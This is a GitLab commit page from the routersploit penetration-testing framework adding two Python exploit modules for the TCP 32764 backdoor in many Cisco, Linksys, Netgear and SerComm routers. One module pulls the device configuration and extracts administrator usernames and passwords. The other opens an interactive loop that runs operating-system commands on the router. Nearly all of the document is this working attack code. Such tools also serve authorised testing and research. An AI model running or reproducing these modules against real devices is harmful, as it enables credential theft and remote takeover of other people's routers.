Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
af3f6918
Commit
af3f6918
authored
9 years ago
by
Marcin Bury
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
TCP 32764 backdoor exploits
parent
789cecb3
Hide whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
289 additions
and
0 deletions
+289
-0
tcp_32764_info_disclosure.py
...ploit/modules/exploits/multi/tcp_32764_info_disclosure.py
+148
-0
tcp_32764_rce.py
routersploit/modules/exploits/multi/tcp_32764_rce.py
+141
-0
No files found.
routersploit/modules/exploits/multi/tcp_32764_info_disclosure.py
0 → 100644
View file @
af3f6918
import
socket
import
struct
import
re
from
routersploit
import
(
exploits
,
print_status
,
print_error
,
print_success
,
print_info
,
print_table
,
random_text
,
mute
,
)
class
Exploit
(
exploits
.
Exploit
):
"""
Exploit implementation for backdoor functionality.
If the target is vulnerable it allows to fetch credentials for administrator user.
"""
__info__
=
{
'name'
:
'TCP-32764 Info Disclosure'
,
'description'
:
'Exploits backdoor functionality that allows fetching credentials for administrator user.'
,
'authors'
:
[
'Eloi Vanderbeken'
,
# vulnerability discovery & proof of concept exploit
'Marcin Bury <marcin.bury[at]reverse-shell.com>'
,
# routersploit module
],
'references'
:
[
'https://github.com/elvanderb/TCP-32764'
,
],
'devices'
:
[
'Cisco RVS4000 fwv 2.0.3.2 & 1.3.0.5'
,
'Cisco WAP4410N'
,
'Cisco WRVS4400N'
,
'Cisco WRVS4400N'
,
'Diamond DSL642WLG / SerComm IP806Gx v2 TI'
,
'LevelOne WBR3460B'
,
'Linksys RVS4000 Firmware V1.3.3.5'
,
'Linksys WAG120N'
,
'Linksys WAG160n v1 and v2'
,
'Linksys WAG200G'
,
'Linksys WAG320N'
,
'Linksys WAG54G2'
,
'Linksys WAG54GS'
,
'Linksys WRT350N v2 fw 2.00.19'
,
'Linksys WRT300N fw 2.00.17'
,
'Netgear DG834'
,
'Netgear DGN1000'
,
'Netgear DGN2000B'
,
'Netgear DGN3500'
,
'Netgear DGND3300'
,
'Netgear DGND3300Bv2 fwv 2.1.00.53_1.00.53GR'
,
'Netgear DM111Pv2'
,
'Netgear JNR3210'
,
],
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. 192.168.1.1'
)
# target address
endianness
=
"<"
def
run
(
self
):
if
self
.
check
():
print_success
(
"Target is vulnerable"
)
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
s
.
settimeout
(
30
)
s
.
connect
((
self
.
target
,
32764
))
conf
=
self
.
execute
(
s
,
1
)
lines
=
re
.
split
(
"
\x00
|
\x01
"
,
conf
)
pattern
=
re
.
compile
(
'user(name)?|password|login'
);
credentials
=
[]
for
line
in
lines
:
try
:
(
var
,
value
)
=
line
.
split
(
"="
)
if
len
(
value
)
>
0
and
pattern
.
search
(
var
):
credentials
.
append
((
var
,
value
))
except
ValueError
:
pass
if
len
(
credentials
):
print_table
((
"Parameter"
,
"Value"
),
*
credentials
)
else
:
print_error
(
"Target is not vulnerable"
)
def
execute
(
self
,
s
,
message
,
payload
=
""
):
header
=
struct
.
pack
(
self
.
endianness
+
'III'
,
0x53634D4D
,
message
,
len
(
payload
)
+
1
)
s
.
send
(
header
+
payload
+
"
\x00
"
)
r
=
s
.
recv
(
0xC
)
while
len
(
r
)
<
0xC
:
tmp
=
s
.
recv
(
0xC
-
len
(
r
))
r
+=
tmp
sig
,
ret_val
,
ret_len
=
struct
.
unpack
(
self
.
endianness
+
'III'
,
r
)
if
ret_val
!=
0
:
return
""
ret_str
=
""
while
len
(
ret_str
)
<
ret_len
:
tmp
=
s
.
recv
(
ret_len
-
len
(
ret_str
))
ret_str
+=
tmp
return
ret_str
@mute
def
check
(
self
):
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
s
.
settimeout
(
30
)
try
:
s
.
connect
((
self
.
target
,
32764
))
except
socket
.
error
:
return
False
# target is not vulnerable
s
.
send
(
random_text
(
12
))
r
=
s
.
recv
(
0xC
)
while
len
(
r
)
<
0xC
:
tmp
=
s
.
recv
(
0xC
-
len
(
r
))
r
+=
tmp
sig
,
ret_val
,
ret_len
=
struct
.
unpack
(
'<III'
,
r
)
if
sig
==
0x53634D4D
:
self
.
endianness
=
"<"
elif
sig
==
0x4D4D6353
:
self
.
endianness
=
">"
s
.
close
()
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
s
.
settimeout
(
10
)
s
.
connect
((
self
.
target
,
32764
))
conf
=
self
.
execute
(
s
,
1
)
s
.
close
()
lines
=
re
.
split
(
"
\x00
|
\x01
"
,
conf
)
if
len
(
lines
):
return
True
# target is vulnerable
return
False
# target is not vulnerable
This diff is collapsed.
Click to expand it.
routersploit/modules/exploits/multi/tcp_32764_rce.py
0 → 100644
View file @
af3f6918
import
socket
import
struct
from
routersploit
import
(
exploits
,
print_status
,
print_error
,
print_success
,
print_info
,
random_text
,
mute
,
)
class
Exploit
(
exploits
.
Exploit
):
"""
Exploit implementation for backdoor functionality.
If the target is vulnerable it allows to execute command on operating system level.
"""
__info__
=
{
'name'
:
'TCP-32764 RCE'
,
'description'
:
'Exploits backdoor functionality that allows executing commands on operating system level.'
,
'authors'
:
[
'Eloi Vanderbeken'
,
# vulnerability discovery & proof of concept exploit
'Marcin Bury <marcin.bury[at]reverse-shell.com>'
,
# routersploit module
],
'references'
:
[
'https://github.com/elvanderb/TCP-32764'
,
],
'devices'
:
[
'Cisco RVS4000 fwv 2.0.3.2 & 1.3.0.5'
,
'Cisco WAP4410N'
,
'Cisco WRVS4400N'
,
'Cisco WRVS4400N'
,
'Diamond DSL642WLG / SerComm IP806Gx v2 TI'
,
'LevelOne WBR3460B'
,
'Linksys RVS4000 Firmware V1.3.3.5'
,
'Linksys WAG120N'
,
'Linksys WAG160n v1 and v2'
,
'Linksys WAG200G'
,
'Linksys WAG320N'
,
'Linksys WAG54G2'
,
'Linksys WAG54GS'
,
'Linksys WRT350N v2 fw 2.00.19'
,
'Linksys WRT300N fw 2.00.17'
,
'Netgear DG834'
,
'Netgear DGN1000'
,
'Netgear DGN2000B'
,
'Netgear DGN3500'
,
'Netgear DGND3300'
,
'Netgear DGND3300Bv2 fwv 2.1.00.53_1.00.53GR'
,
'Netgear DM111Pv2'
,
'Netgear JNR3210'
,
],
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. 192.168.1.1'
)
# target address
endianness
=
"<"
def
run
(
self
):
if
self
.
check
():
print_success
(
"Target is vulnerable"
)
print_status
(
"Invoking command loop..."
)
self
.
command_loop
()
else
:
print_error
(
"Target is not vulnerable"
)
def
command_loop
(
self
):
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
s
.
settimeout
(
30
)
s
.
connect
((
self
.
target
,
32764
))
while
(
1
):
cmd
=
raw_input
(
"cmd > "
)
if
cmd
in
[
'quit'
,
'exit'
]:
s
.
close
()
return
print
self
.
execute
(
s
,
7
,
cmd
.
strip
(
"
\n
"
))
def
execute
(
self
,
s
,
message
,
payload
=
""
):
header
=
struct
.
pack
(
self
.
endianness
+
'III'
,
0x53634D4D
,
message
,
len
(
payload
)
+
1
)
s
.
send
(
header
+
payload
+
"
\x00
"
)
r
=
s
.
recv
(
0xC
)
while
len
(
r
)
<
0xC
:
tmp
=
s
.
recv
(
0xC
-
len
(
r
))
r
+=
tmp
sig
,
ret_val
,
ret_len
=
struct
.
unpack
(
self
.
endianness
+
'III'
,
r
)
if
ret_val
!=
0
:
return
""
ret_str
=
""
while
len
(
ret_str
)
<
ret_len
:
tmp
=
s
.
recv
(
ret_len
-
len
(
ret_str
))
ret_str
+=
tmp
return
ret_str
@mute
def
check
(
self
):
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
s
.
settimeout
(
30
)
try
:
s
.
connect
((
self
.
target
,
32764
))
except
socket
.
error
:
return
False
# target is not vulnerable
s
.
send
(
random_text
(
12
))
r
=
s
.
recv
(
0xC
)
while
len
(
r
)
<
0xC
:
tmp
=
s
.
recv
(
0xC
-
len
(
r
))
r
+=
tmp
sig
,
ret_val
,
ret_len
=
struct
.
unpack
(
'<III'
,
r
)
if
sig
==
0x53634D4D
:
self
.
endianness
=
"<"
elif
sig
==
0x4D4D6353
:
self
.
endianness
=
">"
s
.
close
()
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
s
.
settimeout
(
30
)
s
.
connect
((
self
.
target
,
32764
))
mark
=
random_text
(
32
)
cmd
=
'echo "{}"'
.
format
(
mark
)
response
=
self
.
execute
(
s
,
7
,
cmd
)
s
.
close
()
if
mark
in
response
:
return
True
# target is vulnerable
return
False
# target is not vulnerable
This diff is collapsed.
Click to expand it.
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment